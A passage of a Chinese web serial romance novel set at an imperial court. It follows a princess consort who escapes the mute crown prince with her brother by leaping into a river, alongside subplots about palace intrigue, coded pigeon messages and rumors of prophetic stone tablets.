江箐珂继续又问:“那我撞破你出现在石府,又捅了你两刀子,你过后就没想过要寻我报仇?” 李玄尧提笔写字,答得倒是诚实。 【寻过,暗中带人跟了你好几日。】 明艳标致的眉眼晶晶亮,兴致甚浓地瞧着李玄尧。 “那为何一直没下手?” 漫漫长夜,李玄尧提笔,开始在折册子上慢慢写着当年的事。 他写一句,便给江箐珂看一句。 【寻到你的第一日,恰逢白府出丧,周围眼目众多,且看你哭得伤心,暂且饶了你一日的命。】 【第二日,看你跟江止在街上散财,觉得你有几分善心,好人该有好报,姑且便又饶了你一日的命。】 【第三日,金陵夜市街头,我戴着面具,跟在你和江止身后,试图找个人少之地下手。】 【结果,你跟江止嬉笑打闹时,却不小心撞到的我怀里,然后仰着脸对我笑着说抱歉。】 【看你笑得好看又明朗,索性便让你再乐呵一日。】 【第四日,跟在你身后,我开始好奇你为何有那么多的话要说,叽叽喳喳的,跟江止说个不停,便想着你既然喜欢说话,就让你在死前再多说一日。】 【第五日,你遇到欺凌霸弱的富家子弟,扬着鞭子要抽人,凶得甚是可爱,让人舍不得下手。】 【第六日,你离开了金陵,心想算你命大,便饶你不死。】 江箐珂双手捂着脸颊,瞠目结舌道:“细思极恐!原来我那时天天命悬一线,还好我够好看、够可爱、够善良、会说话、还会哭。” 李玄尧忍俊不禁,宠溺地掐了掐江箐珂的下巴尖后,又提笔写了一句。 【你我冤家路窄,怕是要纠缠一辈子。】 第144章 未满将满 江箐珂将头扭到一边。 明明嘴角藏着笑,却嘴硬道:“谁要跟你纠缠一辈子。” 再转过头来时,她立马换回凶巴巴的表情。 冲着李玄尧仰着下巴尖道:“你后宫之事不解决,咱俩没戏。” 李玄尧立马提笔承诺。 【我定不会宠幸其他女子。】 【若违背诺言,任由你处置。】 唇角抽动,江箐珂皮笑肉不笑。 “你力气那么大,我怎么处置你?” “再者,身为一国之君,若言绝不宠幸后宫妃嫔,此话未免过于虚妄。” “如花似玉的小娘子都纳到了宫里,就任由她们独守空房,当一辈子的黄花大闺女?” “到时,独我集万千宠爱于一身,岂不是更惹人恨,招人嫉妒?” “那日子还能太平得了?” “皇上对你母后也算一往情深,不也跟惠贵妃生了两个皇子一个公主,跟淑妃生了三个皇子,还跟那个什么嫔来着......” 江箐珂记不清后宫里的那些女人,更记不清谁生了谁。 于是干脆没好气地道:“反正生了一大堆!” 说到此处,江箐珂频频摇头,越想越觉得不妥。 “只要你坐上那个位置,就不再是我一个人的夜颜了。” “可我也没那么无私,能大大方方地让别的女人碰你。” “因为我很喜欢你,喜欢得不得了,越是喜欢越想独占。” “若是你跟别的女人亲亲抱抱,你侬我侬,我会疯的,夜颜!” “你我要想纠缠一辈子,法子就两个。” “一是后宫仅我一人,可现在东宫里就有三个了,外加一个被打残的张良媛,马上还要娶个和亲的公主,这就......” 江箐珂伸出五个手指头强调:“这就五个了!第一个法子已经没戏。” “再一个,你放弃江山,跟我去西延。” “可那位置是个男子都想坐,江山难得,美人易寻,连傻子都知道选哪个。” 李玄尧立刻提笔写了个法子。 【待日后我坐稳皇位,朝局稳定,我便将后宫遣散,仅留你一人,如何?】 江箐珂的态度有些缓和。 “那就等你都遣散了,再说!” 不想再揪着没有结果的事说下去,江箐珂便立刻换了个话茬。 “不过,有一说一。” “还是要谢谢你,当初在皇上面前替我们江家说情,让我们江府免了一场祸事。” 双手绕过李玄尧的腰,江箐珂抱着他亲了下。 “多谢殿下不杀之恩。” “我们江家的儿郎虽然都是风流货色,却也是忠心护国之人,从无二心。” “日后,殿下守着大周的百姓,江家军则为殿下守好西延那边的江山,唯殿下是从。” 想说的话很多很多,可惜还无法正常发声。 李玄尧只能用一紧再紧的拥抱作为回应。 其实,他很清楚,千言万语都不如用行动去兑现承诺。 路漫漫其修远兮,砥砺而行,自有佳境在前。 他和小满的圆满将会在古稀之年、流年岁月的尽头落得成就。 而现在,未满将满,和润而远。 ...... 夜里丑时,终于赶到官道驿馆。 一行人疲惫不堪,安排好房间便都草草睡下,一觉便睡到卯正时分。 “能不能离我远点儿?” “睡觉你守在门口,上个茅厕你也跟着,烦不烦?” 喜晴一大早上就跟谷丰发火。 可不论她怎么凶,谷丰都狗哈哈地跟在身侧,又是给盛粥,又是给剥鸡蛋的。 “我我我我,我不,不不不,不是,怕,怕,怕你跑了。” 喜晴给了谷丰一个眼刀子。 “我家主子都没跑,我跑什么?” “你到底喜欢我什么,你说,我改还不行吗?” 谷丰也不说话,憨憨一笑,拿出两个大包子塞给了喜晴。 “就,就剩,剩剩,剩两个,肉肉肉,肉馅的,快,快快,快吃。” 是时,旁桌的南星看着手里吃了一半大包子,在那边突然高声喝道:“哪个孙子把我肉馅包子给换了?” 喜晴看了看南星,又看了眼手里的两个肉包子,最后抬头看向谷丰。 谷丰冲她眨眼坏笑,用胳膊肘碰了碰她,催她快点吃,随后拿起自己碗里的素菜包子一口咬了下去。 喜晴瞧见,将手里的肉包子换了一个给谷丰。 “不不不,不用!” 谷丰要给她夹回来,却被喜晴给拦住了。 “我吃不了这么多。” 两人的小动作皆被江箐珂和江止看在眼里。 面面相觑,江止凑到江箐珂身边,非常小声地道:“要不,别带她了。” 可这话还是飘进了李玄尧的耳朵里。 眼锋一转,冷冷地朝江止刺了过去。 江止挑眉低头,装作没事儿人似的,开始喝粥。 他双手被反绑在身后,无法动弹。 可又不敢当着李玄尧的面儿使唤江箐珂,便只能像只大公鸡似的,两个翅膀贴在身侧,一会儿低头吃口包子,一个低头喝口粥,姿势看起来甚是滑稽。 早食吃得差不多了,住在驿馆的另一伙人也从楼上走了下来。 江箐珂循声瞧去。 看那些人的穿着打扮,便知不是大周人。 待一名女子在下人的左拥右护下出现,江箐珂脑子里首先想到的便是那和亲公主。 再过一个月,李玄尧就要登基为帝了。 按照大周宫内礼制,和亲公主要提前到京城,在入宫之前暂住番馆,跟宫里的教习嬷嬷学习一个月的规矩,还有平日里常用的大周话。 算算日子,那和亲公主是该来了。 李玄尧亦是注意到了那个穿金带银,珠光宝气的女子。 放下帷帽的垂纱,他同南星示意。 南星领命,上前去问了几句。 果不其然,正是南裕国来的妙娅公主。 且对方听闻他们这批亦是前往京城的,便提议结伴而行。 妙娅公主缓步走来,冲着江箐珂这桌,按照南裕国的礼节行了个礼。 那公主浑身都是金铃铛、银铃铛,举手抬足都会发出清脆好听的声响。 且她眉眼深邃,鼻梁高翘,长相艳美至极,轻轻一笑便可沉鱼落雁,身姿更是曼妙无比,看得江止都晃了一下神儿,赞了一句“漂亮”。 就是再清心寡欲的佛子瞧了,也要宁负如来不负她了。 这纳回去放到宫里,动心动欲,迟早的事儿吧? 江箐珂侧眸瞪了李玄尧一眼。 咬着牙,阴阳怪气道:“真是有缘千里来相会啊!” 偏偏那妙娅公主从桌旁经过时,不小心踩到长裙,被绊了一跤,径直摔到李玄尧的怀里。 异域的熏香扑鼻而来,江箐珂亲眼瞧到那对胸撞到了李玄尧的手上,挤出深深的一条缝儿。 第145章 别怕 因为铐链相连的原因,江箐珂同李玄尧坐得很近。 李玄尧拽着她躲闪不及,动作拉扯间,那妙娅公主的胸撞到他的手也就算了,在江箐珂盯着那道缝儿瞧时,公主的脸又径直朝她撞了过来。 娇艳红唇碰了下江箐珂的鼻尖。 触感湿湿软软的,来得猝不及防。 被香喷喷的美人儿亲一下,感觉好像......也不赖。 妙娅公主立刻被下人们扶起,双手合十,对着江箐珂和李玄尧不停地说着什么。 应该就是赔罪道歉吧。 江箐珂捂着自己的小鼻子怔愣在那里,一时之间,都不知那股醋火是发还是不发? 低头看了眼那妙娅公主的衣裙,一身米黄色的轻纱长裙,裙摆都垂到了鞋底,走起路来确实不便,不小心被绊倒也是极有可能的。 不愧是富得流油的小国公主,道歉都给金镯子。 江箐珂厚着脸皮收了,顺便把李玄尧的那份也戴在了手上。 金灿灿的两个手镯套在皓腕上,一旁的铁制链铐便显得尤为地格格不入。 江箐珂故意冲着李玄尧晃了晃,假笑嘲讽。 “看看人家!” “道歉都这么有诚意。” 李玄尧亏在哑巴上,想辩驳几句也无法。 打个手语的功夫江箐珂两句话都说完了。 “胸软吗?” 一上了马车,江箐珂就开始挑刺儿。 李玄尧未回应,坐在一旁开始翻起书来。 “问你话呢?”江箐珂追问。 无奈,李玄尧只能比划了下。 【没注意,不记得。】 气儿稍微消了点儿。 江箐珂除了兵书偶尔会翻翻,李玄尧喜欢看的那些什么《尚书》、《中庸》、《鬼谷子》......她一概不喜欢。 他看书,她就在旁盯着他。 盯了半晌,江箐珂突然问了个一直想问的问题。 “夜颜,你就没嫌过我的小?” 李玄尧缓缓抬眸,刚刚还是严肃沉冷的调调,在看到江箐珂的瞬间,唇线一弯,气场立马柔和起来。 他摇头,放下书,快速比划了下。 【刚刚好,一掌可控。】 答得还算让人满意,可江箐珂仍别扭着。 “骗子!男子明明都喜欢大的。” ...... 两队人马一前一后地赶着路,为了照顾妙娅公主的队伍,途经驿站便短暂休整一下。 江止因为要解手,终于被松了绑。 恰好在驿站遇到宫里来送信的属下,因有密事要谈,李玄尧暂时也放了江箐珂的自由。 江箐珂与江止坐在茶桌上低声蛐蛐,四周则围了一圈黑甲卫,很怕她二人趁机逃跑。 “还跑不跑了?” 江止声音压得极低,且咬字含糊,仅江箐珂分辨得轻。 “你说呢。” 江箐珂冲着隔壁那桌妙娅公主努了努下巴。 “就说这样美艳的公主,天天在阿兄身边晃儿,阿兄动不动心?” 江止抖着二郎腿,端详起那公主来。 唇角斜勾,他笑得痞里痞气的。 “动不动心不知道,老子反正会动手。” 江箐珂侧眸皱眉,“是我想的那个动手吗?” “不然呢?” “这么好看的小美人儿晾在那儿,那不是暴殄天物吗?” 小声蛐蛐的这功夫,江箐珂借着衣袖的遮挡,用藏在袖子里的钗子开始撬链锁。 江止那边则懒声继续打击江箐珂。 “你也有点自知之明,人家那奶完孩子还能绰绰有余,你......” 话说到一半,顿了顿,江止不好意思地清了清嗓子。 “我一个当阿兄的,有些话也不便说,你自己悟吧!” 江箐珂不服气。 “我才十九。” “张氏跟江箐瑶说过,女子过了二十,还能再争争气。” 江止紧鼻子皱眉,敷衍地点头。 “行行行,还能再争争气。” “明年过了二十,你再继续多争点。” “所以......” 江止啪地一下,重重敲了下桌子,站起身来,冲着江箐珂高声道:“到底跑不跑?” 说时迟,那时快,江箐珂一个“跑”字说出时,两人一同掀桌子、扔椅子,同几个黑甲卫打了起来。 另一边,喜晴见状也开始帮忙。 都是自己人,大家下手自然不能太重了。 而黑甲卫也怕伤到江箐珂,动起手来亦是束手束脚。 女子气力虽不如男子,可江箐珂在军中时经常与男子空拳对打,知晓如何用巧劲儿和技巧取胜。 李玄尧那种怪力的打不动,可一般的黑甲卫还是可以应付下的。 一名黑甲挥着未出鞘的剑袭来,她脚下轻点,身子灵活一侧,手肘疾撞,直击其胸口,生生将人逼退数步。 另一人趁势欺身,她顺势转腕扣住来拳,猛然一拧至⑦背后,只听“咔嚓”脆响,那人闷哼一声,手臂已然脱力下垂。 然后,连续几个漂亮的过肩摔、跪摔、穿腿摔,江箐珂与江止愣是以二对十,靠着一鼓作气的冲劲儿,打出了驿站外。 喜晴也想跟着跑,却被谷丰从后面伸手抓住。 一时用力过猛,谷丰不小心将喜晴的衣服给扯坏了。 喜晴捂着胸口,回头就扇了谷丰一个大巴掌。 来不及说什么抱歉的话,谷丰立马脱掉自己的袍子给她罩上,顺便把人抱得死死的,任喜晴如何又打又哭的,就是不肯撒下手。 待李玄尧带着其余黑甲卫追赶出来时,江止已跳上一匹马。 他紧攥缰绳,双腿用力夹踢马腹,一声“驾”后,便朝着已跑出几丈远的江箐珂飞奔而去。 待快追至其身后,他从马背上倾下身子,一把兜住江箐珂的腰,直接把人拽上马背。 李玄尧等人也迅速上马,带着人在后面紧追不舍。 数匹马穿梭于山道林间,惊起林间飞鸟无数。 耳边风声烈烈,落日余晖刺眼炫目,天地之间皆是一片金黄色。 南星受李玄尧手势下令,带人分散成五队,从不同的方向追赶拦截。 江箐珂和江止多次掉头改路,最后被几队人拦截追至山涧之间的一条石桥上。 石桥一端李玄尧正骑着马,带着人朝石桥奔驰而来,另一端则是南星等人骑马逼近。 两伙人从两边堵截,很显然再无退路。 江箐珂不会凫水,看了眼桥下的河水,心生了退意。 “阿兄,逃不掉了。” 身下的马打着鼻响,急得在石桥的中央来回踱步。 急促杂乱的马蹄声渐近,最后在桥头胸有成竹地慢了下来。 李玄尧骑坐在马背上,掀起的帷帽下的垂纱,一双异瞳看向江箐珂,凌厉的眼神透着寒意,如冰剑一般,朝二人刺来。 江止抱着江箐珂跳下马,看了眼桥下水势湍急的大渡河。 没有时间犹豫了。 面朝李玄尧,他将江箐珂拽入怀里紧抱着。 他一手紧搂她的腰,一手按着江箐珂的后脑勺。 江止凑到她耳边,低声道:“阿兄在,别怕。” 那样子从远处看来,倒像是亲吻。 话落,江止冲着李玄尧邪肆一笑,赶在他骑马冲过来前,抱着江箐珂纵身跳下了那座石桥。 第146章 不是那样的人 待李玄尧骑马赶至石桥中央时,那两人已坠入桥下的河中。 水花溅起一片,人没入水下,随着湍急的河流,瞬间就没了痕迹。 无形的戾气陡然从周身荡开,李玄尧面色阴沉沉地凝视着河面,双色的眸中阴霾隐现、翻涌,愤怒、不甘和焦灼交杂其中。 南星壮着胆子小声请示。 “殿下,要不,属下带几个人到下流去追?” 李玄尧就像没听到一般,胸膛上下快速起伏,垂眸死死盯着两人坠河之处,目光随着河流渐渐朝远处延伸而去。 一想到江止适才贴在江箐珂耳畔的画面,他就气得要死。 手指蜷缩紧握,那无处发泄的愤怒也随之一点点集聚在拳头上。 隐忍和愤怒达到极限,最后悉数宣泄在桥栏上。 汉白玉的石桥,拳头砸过之处,留下了斑斑点点鲜红的血迹。 一个哑巴,连愤怒都是安静无声的。 他们的愤怒更像海下暗流,翻腾汹涌,势不可遏。 南星原本是衡帝身边的暗卫,后来受命保护李玄尧,被衡帝安插到了东宫黑甲卫里。 有时别人不敢多说劝谏之言,但南星多少还敢说上一句。 “恕属下多言,太子妃既动了要走的心思,就算费力寻到带回宫里,关得了一时,却关不了一世。” “殿下登位在即,正是至关紧要之时,还请殿下三思。” 流血的拳头垂在身侧微微颤抖,李玄尧仰头闭上了眼。 胸腔大幅度地起伏了几次,几次深呼吸后,他缓缓睁开了眼。 他转身跃上马背,手指圈在唇边吹了个口哨,便带领一群黑甲卫,策马狂奔,朝着京城的方向,一路气势汹汹而去,决绝得连驿馆都不曾回过。 一个逆风向北,一个顺流向南。 好像被河水封住了一般,周遭沉寂幽闭,唯有耳边咕咚咕咚的都是水声。 江箐珂虽不会凫水,可之前为了学会凫水还是练过憋气的。 只要有人能带着她游,便不会因为惧水而乱了阵脚。 可惜在她坠河前憋的那口气,已经快不够用了。 偏偏水流卷得她和江止二人始终游不出水面。 江箐珂昨晚是憋得膀胱要炸,此时是憋得肺子要炸。 她拍了拍江止的胳膊,神情痛苦地指了指水面,不停地吐着水泡泡,示意他快点想法子拉着她游上去。 江止似是看出她要不行了,偏头贴过来,意思要给她渡气。 江箐珂紧抿着唇,一巴掌呼在江止的脸上,毫不客气地将他的脸推开,并不停地指向水面催促着江止。 江止便像个青蛙似的,拽着江箐珂,奋力向水面上游去。 两人游出水面,寻了个浮木抱住,一路顺流漂下去,直到在河道拐弯处才顺利上了岸。 二三月的天,两人身子湿哒哒的,即使拧干了水,可走在山林间,也冷得瑟瑟发抖。 前不着村后不着店,两人又人生地不熟,只能茫然地朝着一个方向走,想着总是能走出去的。 红日西落,眼看着天就要黑下来,却始终没能走出这片山林。 别说是村落,哪怕一户人家的影子,都没瞧见。 疲惫、饥饿、寒冷,拖得人的步子越来越沉。 江止便东拉西扯地与江箐珂闲聊,让步子能变得轻快一些。 “也不知道咱俩那马,会不会被太子一怒之下给宰了。” 江箐珂有一搭没一搭地接着话。 “不会,夜颜不喜杀戮,他只杀该杀的。” 江止嗔笑了一声。 “咱俩还不该杀?” “杀不着咱俩,那还不拿咱俩的马出出气?” 言语间,他捡起一跟粗树枝,打理了几下,递给江箐珂当拐杖。 江箐珂接过,语气笃定道:“不会!他不是那样的那人。” “不会最好,希望喜晴能照顾好红枣和我的乌骓。” 对于重骑兵将来说,马不仅仅是坐骑,还是并肩作战的伙伴,是朝夕相处的好友。 很多都是从小喂到大,或亲自驯服,培养出的感情不比人差。 江箐珂知晓江止最爱他的那匹乌骓,遂安慰道:“阿兄就放一百个心吧,喜晴知道你在意乌骓,肯定会替咱俩照顾好那两匹马的。” 江止点了点头,拉着江箐珂继续赶路。 “可惜,这逃是逃出来了,就是银票都在太子殿下那儿,咱俩怕是得靠乞讨卖艺四处流浪了。” 江箐珂晃了晃手腕上的两个大金镯子,喜滋滋道:“怕什么,这两个大金镯子当了,也能换不少银钱,省着点,够咱俩用些时日了。” 江止懒声笑道:“还得谢谢那个妙娅公主了。” 两人就这么一路聊着,在天彻底黑下来时,有幸遇到采药下山的老道,江箐珂和江止这才暂时寻了个落脚的地方。 深山道观,静谧清幽,不染浮世喧嚣。 同一片夜空下的皇宫和穆府却处于浮世的漩涡中心。 宫里上下都在议论穆良媛的死,穆府派出的小厮进进出出地也跑了好几趟。 这章没有结束,请点击下一页继续阅读!“启禀老爷,大理寺的仵作终于验完尸了。” 穆元雄沉声问道:“怎么说?” “被烧焦的两具尸体皆为女尸,但早已辩不出哪位是小姐,哪位是婢女鹂莺。” “据仵作所言,其中一具女尸喉部切开,咽喉处并无吸入烟雾的痕迹,仵作判定此人是火灾前便已咽气,且喉部内侧有刺伤痕迹。” “另一具女尸体内则有中毒迹象,但喉部切开有少量吸入烟雾的痕迹,判定是因毒性发作,在痛苦挣扎时弄翻了屋内的灯烛,引起了禅房大火。” “至于是谁下的毒,谁杀的人,暂时还无线索。” “另外,大理寺卿让小的给老爷代话,说明日会派人来府上同老爷问些小姐和那婢女鹂莺的事。” 穆元雄虽然暗自松了口气,可还是吩咐那小厮。 “派人给东宫的曹公公送信,问问十皇子那边今日可还有其他动静。” 小厮领命而去,过了一个时辰,李玄尧的暗探披着夜色来了穆府。 “启禀穆大人,昨夜万佛寺走水后,十皇子连夜就动身回了王府。” 皱得耷拉的双眼仍噙着少许的疑虑,穆元雄沉声又问:“十皇子离开佛寺前,身边可跟着什么人?” 那人恭声答道:“佛寺当时比较混乱,十皇子是在侍卫的护送下离开的,身边自是跟了好几个人。” 穆元雄继而又问:“其中可以举止不同之人?” 那暗探回想了一番,摇头:“并无。” 穆元雄终于叹了口气。 那暗探听了,好声安慰道:“穆大人节哀。” 挥了挥手,穆元雄一脸哀痛之色,摇头叹气,似乎伤心得连话都说不出来。 暗探脚步匆匆地离开了穆府,未成察觉一只信鸽从他头顶飞过,越过一座有一座的府宅,最后飞入了挂有“白府”灯笼的宅院。 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第147章 就这样吧 一扇木窗半敞,屋内灯火通明。 灰色的信鸽扑闪了几下翅膀,落在了窗台上。 几声鸽叫,引来了正在做木雕的白隐。 展开绑在鸽子腿上的密信,他拿到烛火上烘烤,很快两个棕色的字迹出现在纸面上。 失败。 白隐看过后,就着烛火直接将那密信烧了。 疾步走到书桌前,他从博古架上的木匣子里拿出瓷瓶,手执未着墨色的狼毫笔,润了润那瓷瓶里的液体,白隐在细长的纸条上写下了一行无色字句。 [十方风起皇恩重,子将远赴东营史。] 纸条抬到烛火上面烘烤,泛着水光的一行字迹,不稍片刻便彻底消失。 密信卷好,塞到小竹筒里,又绑回到鸽子腿上。 喂了些谷物后,白隐便将那鸽子放飞了。 恰好此时,书房的门外传来脆生生的一声“夫君”,房门应声而开,江箐瑶面带新妇的娇羞走了进来。 “夫君,你又在这里鼓弄这些木头。” “水都烧好了。” 她碎步快走到白隐身旁,羞答答地挽住他的手臂。 “要不要一起......” 江箐瑶抬眸看着白隐,眼里透着三分的桃花意,扭扭捏捏地说了个“洗”字。 白隐唇角微勾,笑容温文尔雅,声音亦柔和清润,低低应了声“好”。 热气缭绕的浴桶里,江箐瑶依偎在白隐的怀中,摆弄着他长有薄茧的大手。 “夫君为何那般喜欢摆弄木头?” 白隐柔声答道:“执刀削木,既磨手艺,亦磨心性,能让我于纷扰之中寻得一份安宁。” 江箐瑶闻后嘟嘴道:“夫君说起话来,总是跟我们西延书堂的夫子似的,想想也是好笑,我以前最怕最烦的便是夫子,结果我竟嫁了天下第一夫子。” 白隐轻笑,抬手摸了摸江箐瑶的头。 适时,江箐瑶又想起了什么,水声哗哗,她突然转身看向白隐。 “夫君,我刚才去书房寻你时,好像看到一只鸽子从你书房里飞出来。” 她歪头不解道:“我住进白府也有几日了,没见到你养鸽子啊?” 白隐虽是看着江箐瑶笑,可眼中的柔情蜜意却瞬间淡了几分。 他面不改色道:“野鸽子,之前受伤落在我院子里,养了一段时间,之后便时常来我这里讨食吃。” “原来如此。” 江箐瑶笑眼弯弯地搂着白隐的脖子,引以为傲道:“不愧是我寻的夫君,龙章凤姿不说,还心地纯善,学识渊博。我阿姐在嫁人这方面,这次是赢不了我了。” 白隐却谦虚道:“白某愚钝不才,得蒙夫人青眼,实乃三生有幸。” 江箐瑶羞红着脸,抬手将散落的发丝掖到耳后,垂眸娇滴滴道:“那还不做点该做的事儿?” 斯文儒雅之人亦有动情动欲之时。 桶里的水溅了一地...... 江箐瑶趴在浴桶边上,也不知自己脸上流的是水还是泪。 一改文人的柔弱,白隐在做此事时却强悍得很,像换了一个人。 可她却是喜欢的。 和心悦之人做亲密之事,她也觉得是三生有幸,比江箐珂一女侍多夫可好太多了。 待情事结束,白隐擦去身上的水珠,准备套上衣袍时,江箐瑶瞥到他背上隐隐有道深色的痕迹。 “这是什么?” 她走过去伸手触碰:“形状好像个弯弯的月牙。” 穿衣服的动作僵滞了一下,眼底闪过一丝冷意后,白隐又平声解释道:“胎记而已。” 江箐瑶凑上前,踮脚,在那月牙形的胎记上亲了一下。 “夫君果然不是凡人,连胎记都如此特别。” 白隐将衣袍系好,揽着江箐瑶朝卧房而去。 夜色沉静如水,有人相依而眠,有人孤枕难眠。 江箐珂躺在道观的一间小屋子里,辗转反侧,怎么睡都睡不着。 “阿兄。” 江止打地铺躺在床边,闻声懒懒应道:“说!” “怎么办,我有点想他了。” 头枕着双臂,江止低声搪塞:“那就想想妙娅公主,想想东宫里的那些女人。” 江箐珂目光放空地望着黑洞洞的房梁,想了想穆汐,又想了想大胸侧妃,还有胖良娣和那个矮瘦小的才人...... 半晌,她“嗯”了一声,“挺好使,是没那么想了。” 侧过身去,江箐珂隔着帐幔问江止。 “阿兄就没有上心喜欢过谁吗?” 幽暗的房间里,江止睁开了眼。 “有啊,可惜人家不喜欢老子。” 江箐珂开始在记忆里搜寻可疑之人。 “谁这么没眼光,竟然看不上我阿兄?” “是那西延城里的那位豆腐西施,还是伙房里做饭的那位小阿姐,还是……咱们江府对门的那个小寡妇?” 江止闭眼没搭理她。 江箐珂自言自语道:“也难怪人家看不上阿兄,谁让阿兄不着调,看着就不像安分守己过日子的。” 江止郁闷地叹了口气,侧身背对床道:“可闭嘴吧你,别打扰老子睡觉。” 本小章还未完,请点击下一页继续阅读后面精彩内容!江箐珂还是睡不着。 鼻尖下没有夜颜身上特有的香气,身侧也没有那宽阔温暖的胸怀,心头也空落落的。 没事儿。 挺一挺就都会过去的! 她盖好被子,闭上眼,强迫自己入睡。 夜色于沉睡中悄然无声地流淌而过,待红日跃出天际,天光大明。 李玄尧发疯似的,不知停歇地骑了整整一宿。 骑到身下的马也没了气力,踏蹄不前,任他如何抽打都不带动的。 可精疲力尽的又岂止是马? 李玄尧翻身跳下马背,拖着沉重的步子,扯下帷帽,直接瘫倒在官道一侧刚见嫩青的草地上。 而紧跟他许久的黑甲卫们也都累得不行。 得了空,也纷纷下马,或靠着树补觉,或躺在地上休息。 李玄尧静静望着天,朝阳刺眼,他却觉得周遭黯淡无光。 一整宿的发泄过后,愤怒如潮退去,剩下的只有撕心裂肺的余痛。 理智回笼,李玄尧突然觉得这样也挺好。 他追过了,求过了,也挽留过了,诚意也表现过了。 可她还是想走,又能怎么样? 既然她想要的是自由,是无忧无虑,是不用勾心斗角的太平日子,那给她就是。 宠爱未必就一定要占有,成全亦是情深义重的一种。 他自己都水深火热,前途凶吉难辨,何必硬拉着她往火坑里跳。 帷帽盖住脸,隔绝了光,压下了纷杂的思绪,也遮掩了泪意。 就这样吧。 没她,也会好。 喜欢太子妃为何不侍寝请大家收藏:()太子妃为何不侍寝更新速度全网最快。 第148章 觉得是 在深山道观里休整了十余日,江箐珂与江止终于下了山。 江箐珂身着灰青色的道袍,桃木簪子盘束着丸子头,俨然一副小道姑的打扮。 李玄尧送她的那枚簪子则藏在怀兜里,抽人用的龙刺鞭则夹在道服的腰带里。 同行江止亦是道士打扮,像模像样地提着道长送的桃木剑,如儿时陪江箐珂离家出走那般,步子闲散地跟在她身侧。 “说吧,想去哪儿瞧瞧?”江止问。 一只手抬到额头遮阳,另一只手提甩着拂尘,江箐珂耷拉个脑袋,兴致索然道:“都行,就一直往南走呗。” 两人就这么漫无目的地朝南走着,跟两条无家可归的流浪狗似的。 途中遇到风景极佳的地方,便停下来歇歇。 可阳光再好,风景再美,江箐珂都开心不起来。 生平初次喜欢一个人,下狠自斩情丝的后劲儿,比她想象中的要大。 针刺般的疼痛在心头弥漫,可江箐珂仍不后悔。 她过她简单自在的日子,他当他的一国之君。 从此,一别两宽,各自安好。 就......挺好的。 途经一座州城,两人寻了家客栈。 在客栈里吃面时,旁桌的住客瞧了眼两人的打扮后,主动搭起话来。 “看二位的打扮,想来也是赶赴京城捉妖的道士吧?” 闻言,江箐珂和江止看向彼此,都觉得此话背后似乎有点说法。 江止甚是热络地同对方聊起来。 “此话怎讲啊?” 那外地老汉诧异道:“二位道长竟然不知此事?” 江止抹了抹满嘴的汤水,收敛神色,摆出一副道门子弟的端谨之态,拱手言道:“我与小师妹下山未久,对外事知之甚少,还请这位老先生赐教。” 老汉摆手笑了笑。 “赐教二字不敢当,在下也是道听途说。” “既然小道长好奇,就同二位说上一说。” “据说京城近一个多月来,发生了好几场离奇命案,死者皆被吸干了精血,死状甚是可怖蹊跷,传言是有妖物在京城作祟,弄得人心惶惶的。” “朝中负责此案的官员顶不住上峰的压力,遂在私下里悬金布告,广邀天下术士入京助捕妖邪。。” 江止习惯性地将一片干薄荷叶扔到嘴里,舌头一带,顶到唇角咬着。 他忍不住抖着二郎腿又问:“可有人见过那妖物?” 老汉笑道:“这个在下就不知了。” 老汉所言也引起了旁桌几位住客的兴致,其中一名年轻公子也凑起热闹来。 “以小生看来,此事或许与天降谶语有关。” 陆续有人附声道:“天降谶语,此事在下也多少听过。” 眉间拧着疑惑,江箐珂问道:“什么天降谶语?” 那年轻公子看向江止和江箐珂,说起话来不疾不徐。 “不知二位道长可曾耳闻,近些日子,大周各处农地、河溪之中接连出现多块石碑和玉石?” 江止摇头。 “未曾听闻,不知这石碑和玉石可有何说法吗?” 江箐珂在旁聚精会神地听着。 只听那公子说:“听闻,无论是被挖出的石碑,还是渔民捞上来的玉石,上面都刻有相似的谶语,有写‘妖孽登帝,天下动荡’的,还有写“妖物现世,江山社稷将倾”的。” 另有住客插言补充了一句。 “可我怎么听说,最近挖出的石碑里,上面写的是九尾狐妲己现世,欲窃李家天下呢?” 一说起奇闻怪事来,吃面的住客们都来了精神。 端着饭菜凑一桌的,拉着凳子坐一边儿的,十几个人都围坐在客栈的犄角旮旯里,低声细语地聊起来。 “各位可还听说当朝太子的事?” 听到李玄尧的事,江箐珂的心便咯噔地停滞了一下。 她急声问道:“何事?” 那人继续道:“听京城来的盐商说,太子某夜突然于梦中得仙人点化,得了一双能辨忠奸的慧眼。” “据说这太子的双眼时而就会变成一对异瞳,左眼可辨忠臣,右眼可辨奸臣。” 有人不免惊叹道:“竟有此等奇事?在下还真是头次听说,那太子殿下未来岂不是要成为一代明君了。” 另有人朝着京城的方向拱手道:“有明君在,便可保我大周时和岁丰,海晏河清。” 江箐珂与江止对了个眼神,知晓这是李玄尧以真容面世的准备。 本是件听了便甚感欣慰的事,却因那名公子的话担忧了起来。 “可小生总觉得,此事似乎与那谶语有关。” “石碑上所言的妖物......” 毕竟不可妄议当朝太子,那公子的话便也只说了一半。 而懂的人都懂,无须细言,便已听出了那公子话中所藏的玄机。 遂先头的老汉说:“可石碑上不是写的九尾狐妲己现世,红颜祸水,祸国殃民吗?既然是妲己,便该是个女子才是,和太子殿下有何关系?” “也有几分道理。” 于是,便另有一位商客道:“近些年,在下时常去京城做生意,倒是听闻惠贵妃母家势力极盛,颇有外戚参政之嫌,且许多京城百姓私下里议论,说这位惠贵妃独掌后宫多年,权欲熏心,心迹昭然,今年只因永王谋逆一事,才与她母家一起失了势。” 这章没有结束,请点击下一页继续阅读!“这九尾狐妲己莫非暗示的便是......惠贵妃?” 众人皆倒吸一口凉气。 江箐珂怔怔然地坐在那里,捋着这些传闻之间的逻辑。 至于后来大家又聊了些何事,是一个字都没有听进去。 她开始担心李玄尧。 哪有什么天降谶语,无非是有人故意为之。 就如同历朝历代都推崇的皇权天授一般。 不管此事是谁的手笔,针对的又是谁,在这个节骨眼传出来,最终的目的只有一个,就是李玄尧的天子之位。 眼下这情形,慧眼辨忠的铺垫,若被人恶意解说,反而会为天降谶语助势,让李玄尧成为谶语中的那个妖物。 文武百官,天下子民,岂会让一个长着两色眼睛的妖物即位,成为他们三叩九拜的国君? 也不知道李玄尧能不能处理好此事。 江箐珂心想,他那么鸡贼,应该无妨的吧? 回到客房,她一脸企盼看着江止,“阿兄,你说,是不是越危险的地方越安全?” 江止老神在在地侧躺在客房的茶桌上,一手撑着头,嘴里叼着根草,语气散漫道:“不是。” “妹妹我觉得是!”江箐珂坚持。 江止闭着眼,同样坚持。 “老子觉得就不是。” 